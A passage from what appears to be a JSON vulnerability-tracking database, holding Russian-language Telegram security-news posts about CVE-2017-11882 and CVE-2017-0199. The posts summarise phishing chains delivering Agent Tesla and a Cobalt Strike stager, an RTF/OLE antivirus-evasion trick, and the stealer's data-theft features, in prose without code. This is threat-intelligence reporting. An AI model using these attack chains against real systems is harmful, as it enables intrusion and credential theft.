\u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0432\u00a0\u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0432\u00a0\u0444\u043e\u0440\u043c\u0430\u0442\u0435 .docx \u0441\u043e\u00a0\u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c OLE2Link. \u0414\u043b\u044f\u00a0\u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043d\u0430\u00a0\u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 CVE-2017-0199;\n\u041f\u0440\u0438\u00a0\u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0430\u00a0\u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f rtf-\u0444\u0430\u0439\u043b \u0441\u00a0\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c.\n\u0417\u043b\u043e\u0432\u0440\u0435\u0434\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 RTF \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u00a0\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b CVE-2017-11882.\n\u041f\u0440\u0438\u00a0\u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 Equation Editor \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0441\u043e\u00a0\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 PE-\u0444\u0430\u0439\u043b \u0438\u00a0\u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 scvhost.exe, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043b\u0435\u0433\u043a\u043e \u0441\u043f\u0443\u0442\u0430\u0442\u044c \u0441\u00a0\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c svchost. exe.\nscvhost.exe \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0441\u0432\u043e\u0439 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440, \u0442\u0430\u043a \u043a\u0430\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u00a0\u043f\u0430\u043c\u044f\u0442\u044c \u0441\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u0438\u043a\u0438 process hollowing.\n\n\n\u0414\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 Agent Tesla \u0443\u043c\u0435\u0435\u0442\n\n\u0432\u043e\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0438\u0437\u00a0Chrome, Firefox, Internet Explorer, Yandex, Outlook, Thunderbird \u0438\u00a0Apple keychain.\n\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448,\n\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043e\u0431\u043c\u0435\u043d\u0430,\n\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043d\u0438\u043c\u043a\u0438 \u044d\u043a\u0440\u0430\u043d\u0430,\n\u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432\u0435\u0431-\u043a\u0430\u043c\u0435\u0440\u0443\n\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b.\n\nC\u043e\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0447\u0435\u0440\u0435\u0437 SMTP, FTP, HTTP, \u043d\u043e\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e HTTP POST, \u0448\u0438\u0444\u0440\u0443\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u00a03DES.", "creation_timestamp": "2018-10-19T10:09:24.000000Z"}, {"uuid": "c776939b-7632-49b0-9e39-0e33efb83cab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/securixy_kz/110", "content": "\u041a\u0418\u0411\u0415\u0420\u041f\u0420\u0415\u0421\u0422\u0423\u041f\u041d\u0418\u041a\u0418 \u041d\u0410\u0428\u041b\u0418 \u041d\u041e\u0412\u042b\u0419 \u0421\u041f\u041e\u0421\u041e\u0411 \u041e\u0411\u0425\u041e\u0414\u0410 \u0410\u041d\u0422\u0418\u0412\u0418\u0420\u0423\u0421\u041e\u0412\n\n\u041a\u0418\u0411\u0415\u0420\u041f\u0420\u0415\u0421\u0422\u0423\u041f\u041d\u0418\u041a\u0418 \u041d\u0410\u0428\u041b\u0418 \u041d\u041e\u0412\u042b\u0419 \u0421\u041f\u041e\u0421\u041e\u0411 \u041e\u0411\u0425\u041e\u0414\u0410 \u0410\u041d\u0422\u0418\u0412\u0418\u0420\u0423\u0421\u041e\u0412\n\n\u041c\u0435\u0442\u043e\u0434 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 RT.\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u044b Cisco Talos \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u043f\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0440\u044f\u0434\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438\u043d\u0444\u043e\u0441\u0442\u0438\u043b\u0435\u0440\u043e\u0432 Agent Tesla, Loki \u0438 Gamarue, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0445 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u0437 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Google Chrome, Mozilla Firefox, Microsoft Outlook \u0438 \u043f\u0440.\n\u041e\u0442\u043b\u0438\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Microsoft Word (\u00a0CVE-2017-0199\u0438CVE-2017-11882), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0438\u043d\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043d\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u044f \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432.\n\u041d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b MS Word, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 RTF \u0444\u0430\u0439\u043b. \u0418\u043c\u0435\u043d\u043d\u043e \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439. \u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432, \u0442\u043e\u043b\u044c\u043a\u043e 2 \u0438\u0437 58 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432 \u0441\u043e\u0447\u043b\u0438 \u0444\u0430\u0439\u043b \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d\u0438 \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d.\n\u0410\u0442\u0430\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 RT, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043d\u0438\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 Object Linking and Embedding (OLE) \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0441\u043b\u043e\u0432 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0433\u043e\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430. \u041e\u0431\u044b\u0447\u043d\u043e \u043f\u0430\u0440\u0441\u0435\u0440\u044b RTF \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044e\u0442 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435, \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043e\u0442\u043b\u0438\u0447\u043d\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442. \u0412 \u0438\u0442\u043e\u0433\u0435 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0432 Microsoft Word \u0438\u043b\u0438 \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c \u043d\u0430 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u043e\u043f\u0446\u0438\u0438.\n\u041a\u0440\u043e\u043c\u0435 \u043f\u0440\u043e\u0447\u0435\u0433\u043e, \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u0435\u043d\u044f\u044e\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 OLE-\u043e\u0431\u044a\u0435\u043a\u0442\u0430, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u043a \u0442\u0435\u0433 , \u043d\u043e \u043d\u0430 \u0434\u0435\u043b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u043c \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882 \u0432 Microsoft Office.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435:\u00a0https://www.securitylab.ru/news/495961.php", "creation_timestamp": "2018-10-18T03:38:17.000000Z"}, {"uuid": "f6336ccc-cf33-4dcc-baa7-012f8371bce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/cisoclub/3409", "content": "\u0425\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u043e\u0432\u043e\u0434\u044f\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \ud83c\uddf7\ud83c\uddfa\u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \ud83d\udc3aWerewolves, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0430\u044f \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043e\u0434\u043d\u0443 \u0438\u0437 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f \ud83d\udd11LockBit, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439. \u0421 \u043a\u043e\u043d\u0446\u0430 \u0430\u043f\u0440\u0435\u043b\u044f 2024 \u0433\u043e\u0434\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \ud83c\udfed\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0439, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0438 \u0418\u0422-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u043e\u0433\u043e \u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u0435\u043a\u0442\u043e\u0440\u0430, \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 F.A.C.C.T.\n\n\u041f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 F.A.C.C.T., \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Werewolves \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0434\u0430\u0436\u0435 \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f, \u043a\u0430\u043a \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e, \u043a \u043f\u0440\u0438\u043c\u0435\u0440\u0443, \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0438 \u041d\u041f\u041e \u00ab\u041a\u0417\u0421\u0422\u00bb.\n\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u0430\u043a\u0435\u0440\u044b \u0441\u0442\u0430\u0440\u0430\u044e\u0442\u0441\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0445 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e. \u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0438\u043c\u0435\u0435\u0442 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f.doc\u00bb. \u041a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u043e\u043d \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 RTF \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u043a \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882 \u0432 Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0431\u043e\u043b\u0435\u0435 6 \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u043c \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c. \u041e\u0434\u043d\u0430\u043a\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442 \u0435\u0451 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435, \u0441 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0439 \u0437\u043e\u043d\u0435 .ru \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 HTA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 PowerShell-\u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0441\u0442\u0435\u0439\u0434\u0436\u0435\u0440 Cobalt Strike. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043c\u0430\u044f\u0447\u043a\u0430 Cobalt Strike \u0441 